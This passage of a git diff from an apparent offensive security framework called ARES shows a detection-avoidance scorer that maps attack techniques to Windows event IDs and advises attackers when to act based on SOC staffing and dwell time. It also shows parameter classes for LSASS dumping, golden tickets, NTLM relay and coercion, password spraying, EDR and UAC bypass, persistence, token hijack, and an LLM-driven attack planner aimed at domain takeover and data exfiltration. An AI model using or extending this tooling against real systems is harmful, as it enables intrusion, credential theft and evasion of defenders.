credential stealing from LSASS")],- "T1003.002": [("Security", "4657", 0.80, "Registry value modification — SAM hive access"),- ("Sysmon", "13", 0.75, "Registry value set — LSA secrets read")],- "T1555.004": [("Sysmon", "11", 0.50, "File creation — DPAPI blob decryption temp file"),- ("Security", "4663", 0.55, "File access — Chrome Login Data")],- "T1110.003": [("Security", "4625", 0.85, "Account failed logon — potential spray pattern"),- ("Security", "4771", 0.80, "Kerberos pre-auth failed — spray via Kerberos")],- "T1550.002": [("Security", "4624", 0.70, "Network logon type 3 — PTH pattern (no Kerberos TGT)"),- ("Security", "4648", 0.75, "Explicit credential logon — PTH indicator")],+ "T1003.002": [("Security", "4657", 0.80, "Registry value modification - SAM hive access"),+ ("Sysmon", "13", 0.75, "Registry value set - LSA secrets read")],+ "T1555.004": [("Sysmon", "11", 0.50, "File creation - DPAPI blob decryption temp file"),+ ("Security", "4663", 0.55, "File access - Chrome Login Data")],+ "T1110.003": [("Security", "4625", 0.85, "Account failed logon - potential spray pattern"),+ ("Security", "4771", 0.80, "Kerberos pre-auth failed - spray via Kerberos")],+ "T1550.002": [("Security", "4624", 0.70, "Network logon type 3 - PTH pattern (no Kerberos TGT)"),+ ("Security", "4648", 0.75, "Explicit credential logon - PTH indicator")],# Lateral Movement- "T1569.002": [("System", "7045", 0.90, "New service installed — PsExec service"),- ("Sysmon", "1", 0.85, "Process creation — PSEXESVC.exe"),+ "T1569.002": [("System", "7045", 0.90, "New service installed - PsExec service"),+ ("Sysmon", "1", 0.85, "Process creation - PSEXESVC.exe"),("Security","4697", 0.90, "Service installed in system")],"T1047": [("Sysmon", "20", 0.80, "WMI remote activity"),- ("Security","4688", 0.60, "Process creation — WMI provider host")],- "T1021.006": [("Security","4624", 0.55, "Network logon — WinRM (port 5985/5986)"),+ ("Security","4688", 0.60, "Process creation - WMI provider host")],+ "T1021.006": [("Security","4624", 0.55, "Network logon - WinRM (port 5985/5986)"),("Microsoft-Windows-WinRM", "91", 0.60, "WSMan session created")],- "T1021.001": [("Security","4624", 0.60, "Interactive/RemoteInteractive logon — RDP"),- ("Security","4778", 0.65, "Session reconnected to Window Station — RDP")],- "T1505.001": [("SQLServer","18456",0.70, "MSSQL login failed — potential brute/spray"),- ("SQLServer","15457",0.85, "xp_cmdshell enabled — high-confidence IOC")],- "T1021.003": [("Sysmon", "3", 0.65, "DCOM network connection — WBEM/MMC"),- ("Security","4648", 0.55, "Explicit credential use — DCOM auth")],+ "T1021.001": [("Security","4624", 0.60, "Interactive/RemoteInteractive logon - RDP"),+ ("Security","4778", 0.65, "Session reconnected to Window Station - RDP")],+ "T1505.001": [("SQLServer","18456",0.70, "MSSQL login failed - potential brute/spray"),+ ("SQLServer","15457",0.85, "xp_cmdshell enabled - high-confidence IOC")],+ "T1021.003": [("Sysmon", "3", 0.65, "DCOM network connection - WBEM/MMC"),+ ("Security","4648", 0.55, "Explicit credential use - DCOM auth")],# Persistence"T1053.005": [("Security", "4698", 0.85, "Scheduled task created"),- ("Sysmon", "1", 0.80, "Process creation — schtasks.exe")],+ ("Sysmon", "1", 0.80, "Process creation - schtasks.exe")],"T1546.003": [("WMI", "5860", 0.90, "WMI permanent subscription created"),("Sysmon", "19", 0.95, "WMI event filter activity")],"T1547.001": [("Sysmon", "13", 0.70, "Registry run key modification"),- ("Security","4657", 0.65, "Registry value set — HKCU/Run")],+ ("Security","4657", 0.65, "Registry value set - HKCU/Run")],# Exfil- "T1039": [("Sysmon", "11", 0.40, "File creation — SMB share staging"),- ("Security","5140", 0.55, "Network share access — enumeration pattern")],- "T1552": [("Sysmon", "1", 0.50, "Process creation — grep/findstr on credential files")],+ "T1039": [("Sysmon", "11", 0.40, "File creation - SMB share staging"),+ ("Security","5140", 0.55, "Network share access - enumeration pattern")],+ "T1552": [("Sysmon", "1", 0.50, "Process creation - grep/findstr on credential files")],# Cloud"T1528": [("AzureAD","Sign-in",0.60,"Azure AD OAuth token theft attempt")],@@ -111,11 +111,11 @@ _TECHNIQUE_DETECTION_MAP: dict[str, list[tuple[str, str, float, str]]] = {# Detection probability modifier by OPSEC level_OPSEC_MODIFIERS = {- "local": 0.05, # LOCAL — no network, very low detection risk- "silent": 0.10, # SILENT — highly obfuscated- "low": 0.25, # LOW — passive enumeration- "medium": 0.55, # MEDIUM — active but targeted- "high_noise": 0.90, # HIGH_NOISE — loud, likely detected+ "local": 0.05, # LOCAL - no network, very low detection risk+ "silent": 0.10, # SILENT - highly obfuscated+ "low": 0.25, # LOW - passive enumeration+ "medium": 0.55, # MEDIUM - active but targeted+ "high_noise": 0.90, # HIGH_NOISE - loud, likely detected"stealth": 0.15, # STEALTH profile modifier"normal": 0.55,"aggressive": 0.85,@@ -123,12 +123,12 @@ _OPSEC_MODIFIERS = {# Wait-time recommendations based on score (hours)_WAIT_RECOMMENDATIONS = [- (0.0, 0.20, 0, "Continue — detection risk minimal"),- (0.20, 0.40, 2, "Low risk — optional 2hr pause before next lateral move"),- (0.40, 0.60, 12, "Moderate risk — recommended 12hr pause, switch technique"),- (0.60, 0.75, 24, "High risk — 24hr pause, consider abandoning noisy artifacts"),- (0.75, 0.90, 72, "Very high risk — 72hr pause or fresh compromise recommended"),- (0.90, 1.01, 168, "Critical — assume detected. Full OPSEC reset required (7 days)"),+ (0.0, 0.20, 0, "Continue - detection risk minimal"),+ (0.20, 0.40, 2, "Low risk - optional 2hr pause before next lateral move"),+ (0.40, 0.60, 12, "Moderate risk - recommended 12hr pause, switch technique"),+ (0.60, 0.75, 24, "High risk - 24hr pause, consider abandoning noisy artifacts"),+ (0.75, 0.90, 72, "Very high risk - 72hr pause or fresh compromise recommended"),+ (0.90, 1.01, 168, "Critical - assume detected. Full OPSEC reset required (7 days)"),]@@ -221,17 +221,17 @@ def _compute_soc_activity_factor(recommendation = ""if base_factor > 0.7:recommendation = (- f"HIGH SOC ACTIVITY ({base_factor:.0%}) — defer high-noise actions. "+ f"HIGH SOC ACTIVITY ({base_factor:.0%}) - defer high-noise actions. "f"Optimal window: {best_window} local time.")elif base_factor > 0.4:recommendation = (- f"MODERATE SOC ACTIVITY ({base_factor:.0%}) — use stealth techniques only. "+ f"MODERATE SOC ACTIVITY ({base_factor:.0%}) - use stealth techniques only. "f"Better window in {max(0, shift_end - local_hour)}h.")else:recommendation = (- f"LOW SOC ACTIVITY ({base_factor:.0%}) — execute now. "+ f"LOW SOC ACTIVITY ({base_factor:.0%}) - execute now. "f"Optimal window: {best_window} local time.")@@ -310,21 +310,21 @@ _SIEM_CORRELATION_RULES: list[SIEMCorrelationRule] = [),SIEMCorrelationRule(name="WMI Persistence via Event Subscription",- description="WMI event filter and consumer created — common persistence IOC",+ description="WMI event filter and consumer created - common persistence IOC",triggers=["T1546.003"],within_minutes=5, threshold=1, severity="high",common_in=["Splunk", "Sentinel", "Elastic", "Sysmon"],),SIEMCorrelationRule(name="Pass-the-Hash Network Logon Pattern",- description="Network logon (type 3) without Kerberos TGT — PTH indicator",+ description="Network logon (type 3) without Kerberos TGT - PTH indicator",triggers=["T1550.002"],within_minutes=10, threshold=1, severity="high",common_in=["Splunk", "Sentinel", "Microsoft Defender XDR"],),SIEMCorrelationRule(name="LSASS Memory Access",- description="Process accessing LSASS memory with PROCESS_VM_READ — credential theft",+ description="Process accessing LSASS memory with PROCESS_VM_READ - credential theft",triggers=["T1003.001"],within_minutes=1, threshold=1, severity="critical",common_in=["CrowdStrike", "SentinelOne", "Defender ATP", "Sentinel"],@@ -393,7 +393,7 @@ def _apply_dwell_time_decay(Logic: if EDR hasn't caught us after N days, signatures may not match.Decay schedule:- < 1 day: 0% reduction (fresh compromise — full risk)+ < 1 day: 0% reduction (fresh compromise - full risk)1-3 days: 10% reduction3-7 days: 20% reduction1-2 weeks: 35% reduction@@ -444,7 +444,7 @@ class CoveragePrediction:class CoveragePredictor:"""- Offline scoring engine — no network calls.+ Offline scoring engine - no network calls.Reads campaign findings and audit data to compute detection probability."""@@ -495,8 +495,8 @@ class CoveragePredictor:timestamp=ts,))- # Compute overall score — weighted by highest individual risks- # Apply dwell time decay — longer undetected = lower score+ # Compute overall score - weighted by highest individual risks+ # Apply dwell time decay - longer undetected = lower scorecampaign_start = kwargs.get("campaign_start_time")if campaign_start is None:campaign_obj = kwargs.get("campaign")@@ -531,7 +531,7 @@ class CoveragePredictor:# Wait time recommendationwait_hours = 0- wait_reason = "Continue — detection risk minimal"+ wait_reason = "Continue - detection risk minimal"for lo, hi, hours, reason in _WAIT_RECOMMENDATIONS:if lo <= overall < hi:wait_hours = hours@@ -613,12 +613,12 @@ class CoveragePredictor:# LSASS-specificif any("LSASS" in r.description for r in risks):- recs.append("LSASS access detected — CrowdStrike/Defender ATP almost certainly alerted. "+ recs.append("LSASS access detected - CrowdStrike/Defender ATP almost certainly alerted. ""Use DPAPI or LAPS enumeration as credential alternatives.")# DCSync-specificif any("DCSync" in r.description for r in risks):- recs.append("DCSync detected — high-confidence SIEM alert expected. "+ recs.append("DCSync detected - high-confidence SIEM alert expected. ""Verify krbtgt rotation has not occurred before using harvested hashes.")if not recs:@@ -654,10 +654,10 @@ class CoveragePredictor:)class CoveragePredictorModule(BaseModule):"""- opsec.coverage_predictor — Real-time detection probability scoring+ opsec.coverage_predictor - Real-time detection probability scoring- OPSEC: LOCAL (offline analysis — no network calls)- MITRE: T1592 (informational — analyzes existing campaign data)+ OPSEC: LOCAL (offline analysis - no network calls)+ MITRE: T1592 (informational - analyzes existing campaign data)REQUIRES: active_campaignOUTPUTS: detection_score, action_risks, wait_recommendation"""@@ -782,7 +782,7 @@ class CoveragePredictorModule(BaseModule):noise_profile: str = "normal",**kwargs: Any,) -> tuple[list, dict]:- # Note: before_request() intentionally not called — LOCAL module, no network.+ # Note: before_request() intentionally not called - LOCAL module, no network.loop = asyncio.get_running_loop()prediction = await loop.run_in_executor(@@ -815,7 +815,7 @@ class CoveragePredictorModule(BaseModule):if prediction.overall_score > 0.05:self.finding(- title=f"Detection Probability: {score_pct}% — {prediction.wait_reason}",+ title=f"Detection Probability: {score_pct}% - {prediction.wait_reason}",description=(f"Based on {prediction.modules_analyzed} modules executed and "f"{len(prediction.techniques_triggered)} MITRE techniques triggered, "@@ -882,7 +882,7 @@ class CoveragePredictorModule(BaseModule):"""from ares.technique.library import _MODULE_TECHNIQUE_MAP- # HIGH_NOISE modules — verified against OPSEC_LEVEL in module definitions+ # HIGH_NOISE modules - verified against OPSEC_LEVEL in module definitions# lateral.wmiexec removed (MEDIUM, not HIGH_NOISE)# ad.coerce + windows.lsa_secrets added (confirmed HIGH_NOISE)_KNOWN_HIGH_NOISE = {@@ -925,8 +925,8 @@ class CoveragePredictorModule(BaseModule):"warnings": warnings,"module_breakdown": sorted(breakdowns, key=lambda x: -x["contribution"]),"recommendation": (- "SAFE — proceed" if safe else- f"DANGEROUS — this plan will raise detection to {projected:.0%}. "+ "SAFE - proceed" if safe else+ f"DANGEROUS - this plan will raise detection to {projected:.0%}. ""Revise to stealthier techniques."),}@@ -959,7 +959,7 @@ class CoveragePredictorModule(BaseModule):modules_run.append({"module_id": mid,"mitre_techniques": techniques,- "opsec_level": "medium", # default — refined below+ "opsec_level": "medium", # default - refined below"timestamp": time.monotonic(),})diff --git a/ares/modules/params.py b/ares/modules/params.pyindex eb71d4c..1a7e08d 100644--- a/ares/modules/params.py+++ b/ares/modules/params.py@@ -1,5 +1,5 @@"""-ARES Module Parameter Validation — Pydantic-based+ARES Module Parameter Validation - Pydantic-basedReplaces the weak dict-based PARAM_SCHEMA with a proper Pydantic modelthat enforces types, lengths, patterns, and secret handling.@@ -315,7 +315,7 @@ class LinuxPrivescParams(ModuleParams):class ADCSParams(DomainAuthParams):- """ad.adcs — ADCS ESC1-ESC8 enumeration and exploitation."""+ """ad.adcs - ADCS ESC1-ESC8 enumeration and exploitation."""exploit_esc1: bool = param("Attempt ESC1 certificate request if vulnerable",@@ -331,7 +331,7 @@ class ADCSParams(DomainAuthParams):class GhostForgeParams(DomainAuthParams):- """ad.ghost_forge — Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover."""+ """ad.ghost_forge - Autonomous ADCS Cryptographic Identity & Kerberos PKINIT Takeover."""ca_server: str = param("Certificate Authority (CA) server hostname or IP",@@ -385,7 +385,7 @@ class GhostForgeParams(DomainAuthParams):class CoerceParams(DomainAuthParams):- """ad.coerce — PetitPotam/PrinterBug/DFSCoerce NTLM coercion."""+ """ad.coerce - PetitPotam/PrinterBug/DFSCoerce NTLM coercion."""listener_ip: str = param("Attacker IP to receive NTLM auth", min_length=7, max_length=45@@ -399,7 +399,7 @@ class CoerceParams(DomainAuthParams):class SCCMParams(DomainAuthParams):- """ad.sccm — SCCM/MECM enumeration and credential extraction."""+ """ad.sccm - SCCM/MECM enumeration and credential extraction."""sccm_server: str = param("SCCM site server hostname (auto-discover if empty)",@@ -416,7 +416,7 @@ class SCCMParams(DomainAuthParams):class NTLMRelayParams(DomainAuthParams):- """lateral.ntlm_relay — Full NTLM relay attack chain."""+ """lateral.ntlm_relay - Full NTLM relay attack chain."""targets: list[str] = param("Target hosts to check for relay (auto-discover if empty)",@@ -444,7 +444,7 @@ class NTLMRelayParams(DomainAuthParams):class DelegationAbuseParams(DomainAuthParams):- """ad.delegation_abuse — Unconstrained/constrained/RBCD delegation abuse."""+ """ad.delegation_abuse - Unconstrained/constrained/RBCD delegation abuse."""mode: str = param("Mode: enumerate|unconstrained|constrained|rbcd",@@ -473,7 +473,7 @@ class DelegationAbuseParams(DomainAuthParams):class LAPSEnumParams(DomainAuthParams):- """ad.laps_enum — LAPS v1/v2 password retrieval."""+ """ad.laps_enum - LAPS v1/v2 password retrieval."""computer_filter: str = param("LDAP filter for target computers", required=False, default="", max_length=512@@ -484,7 +484,7 @@ class LAPSEnumParams(DomainAuthParams):class AWSPrivescParams(ModuleParams):- """cloud.aws_privesc — AWS IAM privilege escalation."""+ """cloud.aws_privesc - AWS IAM privilege escalation."""access_key: str | None = param("AWS Access Key ID", required=False, default=None, max_length=128@@ -518,7 +518,7 @@ class AWSPrivescParams(ModuleParams):class AzureParams(ModuleParams):- """cloud.azure — Azure resource enumeration."""+ """cloud.azure - Azure resource enumeration."""subscription_id: str | None = param("Azure subscription ID", required=False, default=None@@ -533,7 +533,7 @@ class AzureParams(ModuleParams):class AzureADParams(ModuleParams):- """cloud.azure_ad — Azure AD enumeration via Graph API."""+ """cloud.azure_ad - Azure AD enumeration via Graph API."""tenant_id: str | None = param("Azure tenant ID", required=False, default=None)client_id: str | None = param("App client ID", required=False, default=None)@@ -555,7 +555,7 @@ class AzureADParams(ModuleParams):class GCPParams(ModuleParams):- """cloud.gcp — GCP resource enumeration."""+ """cloud.gcp - GCP resource enumeration."""project_id: str | None = param("GCP project ID (lowercase letters, digits, hyphens)",@@ -573,7 +573,7 @@ class GCPParams(ModuleParams):class CredentialCrackParams(ModuleParams):- """credential.crack — Offline hash cracking via hashcat/john."""+ """credential.crack - Offline hash cracking via hashcat/john."""hashcat_path: str = param("Path to hashcat binary", required=False, default="hashcat", max_length=512@@ -587,7 +587,7 @@ class CredentialCrackParams(ModuleParams):class GoldenTicketParams(ModuleParams):- """credential.golden_ticket — Kerberos golden ticket forging."""+ """credential.golden_ticket - Kerberos golden ticket forging."""domain: str = param("Target domain FQDN", min_length=3, pattern=r"^[\w.-]+$")domain_sid: str = param(@@ -603,7 +603,7 @@ class GoldenTicketParams(ModuleParams):class PassSprayParams(ModuleParams):- """credential.pass_spray — Password spraying against LDAP/SMB."""+ """credential.pass_spray - Password spraying against LDAP/SMB."""target: str = param("DC or target IP/hostname", min_length=3, max_length=253)domain: str = param("Domain FQDN", required=False, default="", max_length=253)@@ -622,7 +622,7 @@ class PassSprayParams(ModuleParams):class PassTheHashParams(ModuleParams):- """credential.pass_the_hash — SMB pass-the-hash authentication."""+ """credential.pass_the_hash - SMB pass-the-hash authentication."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("Username", min_length=1, max_length=256)@@ -643,7 +643,7 @@ class PassTheHashParams(ModuleParams):class CredentialReuseParams(ModuleParams):- """credential.reuse — Test captured credentials against a target."""+ """credential.reuse - Test captured credentials against a target."""target: str = param("Target IP or hostname", min_length=3, max_length=253)protocol: str = param(@@ -658,7 +658,7 @@ class CredentialReuseParams(ModuleParams):class SecretsScanParams(ModuleParams):- """exfil.secrets_scan — SSH remote scan for credential patterns."""+ """exfil.secrets_scan - SSH remote scan for credential patterns."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("SSH username", min_length=1, max_length=256)@@ -677,7 +677,7 @@ class SecretsScanParams(ModuleParams):class SmbSharesParams(ModuleParams):- """exfil.smb_shares — Enumerate SMB shares and search for sensitive files."""+ """exfil.smb_shares - Enumerate SMB shares and search for sensitive files."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("Username", min_length=1, max_length=256)@@ -691,7 +691,7 @@ class SmbSharesParams(ModuleParams):class StagedCollectionParams(ModuleParams):- """exfil.staged_collection — Collect files matching patterns via SSH."""+ """exfil.staged_collection - Collect files matching patterns via SSH."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("SSH username", min_length=1, max_length=256)@@ -714,7 +714,7 @@ class StagedCollectionParams(ModuleParams):class LateralBaseParams(ModuleParams):- """Shared params for lateral movement modules (remote execution — command runs on target)."""+ """Shared params for lateral movement modules (remote execution - command runs on target)."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("Username", min_length=1, max_length=256)@@ -731,7 +731,7 @@ class LateralBaseParams(ModuleParams):class DCOMParams(LateralBaseParams):- """lateral.dcom — DCOM lateral movement via MMC20/ShellWindows."""+ """lateral.dcom - DCOM lateral movement via MMC20/ShellWindows."""method: str = param("DCOM method: auto|mmc20|shellwindows|shellbrowserwindow",@@ -742,7 +742,7 @@ class DCOMParams(LateralBaseParams):class PsExecParams(LateralBaseParams):- """lateral.psexec — PsExec-style lateral movement via SMB + SCM."""+ """lateral.psexec - PsExec-style lateral movement via SMB + SCM."""service_name: str = param("Temporary service name", required=False, default="", max_length=256@@ -750,25 +750,25 @@ class PsExecParams(LateralBaseParams):class WmiExecParams(LateralBaseParams):- """lateral.wmiexec — WMI remote execution."""+ """lateral.wmiexec - WMI remote execution."""passclass WinRMParams(LateralBaseParams):- """lateral.winrm — WinRM PowerShell remote execution."""+ """lateral.winrm - WinRM PowerShell remote execution."""passclass RDPLateralParams(LateralBaseParams):- """lateral.rdp — RDP lateral movement (HIGH_NOISE)."""+ """lateral.rdp - RDP lateral movement (HIGH_NOISE)."""passclass SSHPivotParams(ModuleParams):- """lateral.ssh_pivot — SSH tunnel SOCKS5 pivot."""+ """lateral.ssh_pivot - SSH tunnel SOCKS5 pivot."""target: str = param("SSH server IP or hostname", min_length=3, max_length=253)username: str = param("SSH username", min_length=1, max_length=256)@@ -785,7 +785,7 @@ class SSHPivotParams(ModuleParams):class SMBRelayParams(ModuleParams):- """lateral.smb_relay — SMB signing audit and relay candidate detection."""+ """lateral.smb_relay - SMB signing audit and relay candidate detection."""target: str | None = param("Single target to check", required=False, default=None, max_length=253@@ -812,31 +812,31 @@ class LinuxSSHParams(ModuleParams):class ContainerEscapeParams(LinuxSSHParams):- """linux.container — Docker/K8s container escape techniques."""+ """linux.container - Docker/K8s container escape techniques."""passclass KernelSuggesterParams(LinuxSSHParams):- """linux.kernel_suggester — Kernel exploit suggester via uname."""+ """linux.kernel_suggester - Kernel exploit suggester via uname."""passclass LDPreloadParams(LinuxSSHParams):- """linux.ld_preload — LD_PRELOAD privilege escalation."""+ """linux.ld_preload - LD_PRELOAD privilege escalation."""passclass NFSEscapeParams(LinuxSSHParams):- """linux.nfs_escape — NFS no_root_squash escape."""+ """linux.nfs_escape - NFS no_root_squash escape."""passclass ServiceHijackParams(LinuxSSHParams):- """linux.service_hijack — Writable systemd service hijack."""+ """linux.service_hijack - Writable systemd service hijack."""pass@@ -845,7 +845,7 @@ class ServiceHijackParams(LinuxSSHParams):class PortScanParams(ModuleParams):- """network.port_scan — TCP port scan."""+ """network.port_scan - TCP port scan."""target: str = param("Target IP, hostname, or CIDR", min_length=3, max_length=253)ports: str = param(@@ -863,7 +863,7 @@ class PortScanParams(ModuleParams):class DNSEnumParams(ModuleParams):- """network.dns_enum — DNS enumeration and zone transfer attempt."""+ """network.dns_enum - DNS enumeration and zone transfer attempt."""target: str = param("Target IP or hostname", min_length=3, max_length=253)domain: str = param(@@ -873,7 +873,7 @@ class DNSEnumParams(ModuleParams):class HTTPFingerprintParams(ModuleParams):- """network.http_fingerprint — HTTP service and tech fingerprinting."""+ """network.http_fingerprint - HTTP service and tech fingerprinting."""target: str = param("Target IP or hostname", min_length=3, max_length=253)ports: list[int] = param(@@ -887,7 +887,7 @@ class HTTPFingerprintParams(ModuleParams):class SNMPEnumParams(ModuleParams):- """network.snmp_enum — SNMP community brute-force and OID walk."""+ """network.snmp_enum - SNMP community brute-force and OID walk."""target: str = param("Target IP or hostname", min_length=3, max_length=253)port: int = param("SNMP UDP port", required=False, default=161, ge=1, le=65535)@@ -899,7 +899,7 @@ class SNMPEnumParams(ModuleParams):class ServiceDetectParams(ModuleParams):- """network.service_detect — Banner-grab service version detection."""+ """network.service_detect - Banner-grab service version detection."""target: str = param("Target IP or hostname", min_length=3, max_length=253)ports: list[int] = param("Ports to check", required=False, default=[])@@ -909,7 +909,7 @@ class ServiceDetectParams(ModuleParams):class PivotParams(ModuleParams):- """network.pivot — SSH tunnel SOCKS5 pivot infrastructure."""+ """network.pivot - SSH tunnel SOCKS5 pivot infrastructure."""target: str = param("Pivot host IP or hostname", min_length=3, max_length=253)username: str = param("SSH username", min_length=1, max_length=256)@@ -941,7 +941,7 @@ class PersistenceBaseParams(ModuleParams):class ScheduledTaskParams(PersistenceBaseParams):- """persistence.scheduled_task — Windows scheduled task persistence."""+ """persistence.scheduled_task - Windows scheduled task persistence."""task_name: str = param("Scheduled task name",@@ -959,7 +959,7 @@ class ScheduledTaskParams(PersistenceBaseParams):class RegistryRunParams(PersistenceBaseParams):- """persistence.registry_run — Registry Run key persistence."""+ """persistence.registry_run - Registry Run key persistence."""key_name: str = param("Run key value name",@@ -977,7 +977,7 @@ class RegistryRunParams(PersistenceBaseParams):class WMISubscriptionParams(PersistenceBaseParams):- """persistence.wmi_subscription — WMI event subscription persistence."""+ """persistence.wmi_subscription - WMI event subscription persistence."""subscription_name: str = param("WMI subscription name",@@ -998,7 +998,7 @@ class WMISubscriptionParams(PersistenceBaseParams):class FingerprintParams(ModuleParams):- """recon.fingerprint — Environment fingerprinting (EDR, OS, domain)."""+ """recon.fingerprint - Environment fingerprinting (EDR, OS, domain)."""target: str = param("Target IP or hostname", min_length=3, max_length=253)timeout: float = param(@@ -1031,7 +1031,7 @@ class WindowsBaseParams(ModuleParams):class AppLockerBypassParams(WindowsBaseParams):- """windows.applocker_bypass — AppLocker policy enumeration and bypass."""+ """windows.applocker_bypass - AppLocker policy enumeration and bypass."""command: str = param("Command to execute if bypass found",@@ -1042,7 +1042,7 @@ class AppLockerBypassParams(WindowsBaseParams):class DPAPIParams(WindowsBaseParams):- """windows.dpapi — DPAPI credential and browser password decryption."""+ """windows.dpapi - DPAPI credential and browser password decryption."""targets: list[str] = param("DPAPI target types: chrome|wifi|rdp|credentials",@@ -1052,13 +1052,13 @@ class DPAPIParams(WindowsBaseParams):class LSASecretsParams(WindowsBaseParams):- """windows.lsa_secrets — LSA secrets and cached credential extraction."""+ """windows.lsa_secrets - LSA secrets and cached credential extraction."""passclass LsassDumpParams(WindowsBaseParams):- """windows.lsass_dump — LSASS process memory dump and parsing."""+ """windows.lsass_dump - LSASS process memory dump and parsing."""technique: str = param("Dump technique: comsvcs|secretsdump",@@ -1069,19 +1069,19 @@ class LsassDumpParams(WindowsBaseParams):class RegistryEnumParams(WindowsBaseParams):- """windows.registry_enum — Registry credential hunting."""+ """windows.registry_enum - Registry credential hunting."""passclass ScheduledTasksEnumParams(WindowsBaseParams):- """windows.scheduled_tasks_enum — Scheduled task enumeration for privesc."""+ """windows.scheduled_tasks_enum - Scheduled task enumeration for privesc."""passclass TokenImpersonationParams(ModuleParams):- """windows.token_impersonation — Token impersonation via named pipe."""+ """windows.token_impersonation - Token impersonation via named pipe."""target: str = param("Target IP or hostname", min_length=3, max_length=253)username: str = param("Username", min_length=1, max_length=256)@@ -1092,7 +1092,7 @@ class TokenImpersonationParams(ModuleParams):class UACBypassParams(WindowsBaseParams):- """windows.uac_bypass — UAC configuration check and bypass."""+ """windows.uac_bypass - UAC configuration check and bypass."""technique: str = param("Bypass technique: auto|fodhelper|eventvwr",@@ -1103,7 +1103,7 @@ class UACBypassParams(WindowsBaseParams):class CoveragePredictorParams(ModuleParams):- """opsec.coverage_predictor — Detection probability scoring."""+ """opsec.coverage_predictor - Detection probability scoring."""noise_profile: str = param("Campaign noise profile for scoring",@@ -1114,7 +1114,7 @@ class CoveragePredictorParams(ModuleParams):class CloudFederationParams(ModuleParams):- """cloud.identity_federation_abuse — Cross-cloud SAML/OIDC federation abuse."""+ """cloud.identity_federation_abuse - Cross-cloud SAML/OIDC federation abuse."""tenant_id: str | None = param("Azure tenant ID", required=False, default=None)client_id: str | None = param("Azure client ID", required=False, default=None)@@ -1146,7 +1146,7 @@ class CloudFederationParams(ModuleParams):class PhantomTokenParams(ModuleParams):- """cloud.phantom_token — Hybrid Entra ID & Primary Refresh Token (PRT) Hijack."""+ """cloud.phantom_token - Hybrid Entra ID & Primary Refresh Token (PRT) Hijack."""tenant_id: str = param("Target Azure AD / Entra ID Tenant ID or domain name (e.g. corp.onmicrosoft.com)",@@ -1201,7 +1201,7 @@ class PhantomTokenParams(ModuleParams):class EDRBypassParams(ModuleParams):- """edr.bypass_adaptive — Adaptive EDR evasion."""+ """edr.bypass_adaptive - Adaptive EDR evasion."""edr_vendor: str = param("EDR vendor: crowdstrike|sentinelone|defender_atp|defender_av|carbon_black|cylance|unknown",@@ -1216,7 +1216,7 @@ class EDRBypassParams(ModuleParams):class AIPlannerParams(ModuleParams):- """ai.autonomous_planner — LLM-powered attack chain planning."""+ """ai.autonomous_planner - LLM-powered attack chain planning."""goal: str = param("Attack goal: domain_admin|cloud_admin|data_exfil|persistence|full_compromise",@@ -1247,7 +1247,7 @@ class AIPlannerParams(ModuleParams):class MSSQLParams(ModuleParams):- """Parameters for lateral.mssql — validated before execution."""+ """Parameters for lateral.mssql - validated before execution."""target: str = Field(..., min_length=1, max_length=253, description="MSSQL server IP or hostname"@@ -1261,7 +1261,7 @@ class MSSQLParams(ModuleParams):command: str = Field(default="whoami",max_length=500,- # Allow alphanumeric, spaces, and common cmd chars — block quotes and semicolons+ # Allow alphanumeric, spaces, and common cmd chars - block quotes and semicolonspattern=r"^[a-zA-Z0-9 /\.\-_=@:,\(\)\[\]\*\?]+$",description="OS command to execute (no quotes or semicolons)",)diff --git a/ares/modules/persistence/__init__.py b/ares/modules/persistence/__init__.pyindex 64694d6..ac461cf 100644--- a/ares/modules/persistence/__init__.py+++ b/ares/modules/persistence/__init__.py@@ -1,5 +1,5 @@"""-ARES — modules.persistence+ARES - modules.persistencePersistence mechanism modulesNote: Primary module discovery uses PluginLoader (inspect.getmembers).diff --git a/ares/modules/persistence/scheduled_task.py b/ares/modules/persistence/scheduled_task.pyindex 6a8491b..128bb8d 100644--- a/ares/modules/persistence/scheduled_task.py+++ b/ares/modules/persistence/scheduled_task.py@@ -1,18 +1,18 @@"""-ARES Persistence Module — Windows Scheduled Task (T1053.005)+ARES Persistence Module - Windows Scheduled Task (T1053.005)+ Registry Run Key (T1547.001)Scheduled Task (ScheduledTaskPersistence):- impacket dcerpc.v5.tsch — connect \\pipe\\atsvc, bind TSCHS UUID,+ impacket dcerpc.v5.tsch - connect \\pipe\\atsvc, bind TSCHS UUID,hSchRpcRegisterTask() with XML task definition that runs hidden at LOGON.Registry Run Key (RegistryRunKeyPersistence):- impacket dcerpc.v5.rrp — connect \\pipe\\winreg, bind RRP UUID,+ impacket dcerpc.v5.rrp - connect \\pipe\\winreg, bind RRP UUID,hOpenLocalMachine() → hBaseRegOpenKey(Run key) → hBaseRegSetValue() → hBaseRegCloseKey().MITRE ATT&CK:- T1053.005 — Scheduled Task/Job: Scheduled Task- T1547.001 — Boot or Logon Autostart: Registry Run Keys+ T1053.005 - Scheduled Task/Job: Scheduled Task+ T1547.001 - Boot or Logon Autostart: Registry Run Keys"""from __future__ import annotations@@ -69,7 +69,7 @@ _TASK_XML_TEMPLATE = """\def _tsch_register_sync(target: str, username: str, password: str,domain: str, lmhash: str, nthash: str,task_name: str, command: str) -> None:- """Register a scheduled task via impacket tsch RPC. Sync — call from run_in_executor."""+ """Register a scheduled task via impacket tsch RPC. Sync - call from run_in_executor."""from impacket.dcerpc.v5 import transport, tsch # type: ignore[import]from impacket.dcerpc.v5.dtypes import NULL@@ -110,7 +110,7 @@ def _tsch_register_sync(target: str, username: str, password: str,)class ScheduledTaskPersistence(BaseModule):"""- persistence.scheduled_task — Register a Windows scheduled task that executes at user logon via impacket tsch RPC (T1053.005)+ persistence.scheduled_task - Register a Windows scheduled task that executes at user logon via impacket tsch RPC (T1053.005)OPSEC: MEDIUMMITRE: "T1053.005"@@ -163,7 +163,7 @@ class ScheduledTaskPersistence(BaseModule):if noise == NoiseProfile.STEALTH:score = 0.3risk = "high_noise"- blockers.append("Scheduled task registration generates Windows Security Event ID 4698 — blocked in STEALTH")+ blockers.append("Scheduled task registration generates Windows Security Event ID 4698 - blocked in STEALTH")recommendations.append("persistence.wmi_subscription")session = getattr(ctx, "session", None)@@ -202,7 +202,7 @@ class ScheduledTaskPersistence(BaseModule):target = getattr(ctx, "target", "") or 